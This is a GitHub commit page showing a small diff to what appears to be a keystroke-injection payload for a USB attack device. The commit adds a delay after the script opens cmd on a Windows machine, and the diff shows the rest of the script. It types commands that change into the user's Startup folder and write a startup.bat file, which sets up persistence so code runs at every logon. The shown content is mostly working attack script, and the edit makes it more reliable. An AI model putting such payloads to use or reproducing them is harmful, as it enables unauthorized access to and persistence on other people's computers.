Adding Delay

You must add a delay after RUN WIN cmd or it won't always write on the cmd
pull/349/head
TheG3ntl3man 2018-08-05 10:33:50 -04:00 committed by GitHub
parent ee48a74dc6
commit aac697e89a
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 1 deletions

View File

@ -16,6 +16,7 @@ LED ATTACK
#Running cmd to create file in startup directory #Running cmd to create file in startup directory
RUN WIN cmd RUN WIN cmd
Q DELAY 150
Q STRING "cd C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup" Q STRING "cd C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"
Q ENTER Q ENTER
Q STRING "echo @echo off > startup.bat" Q STRING "echo @echo off > startup.bat"
@ -27,4 +28,4 @@ Q ENTER
Q ALT F4 Q ALT F4
#Fast green followed by Solid -> Finished #Fast green followed by Solid -> Finished
LED FINISH LED FINISH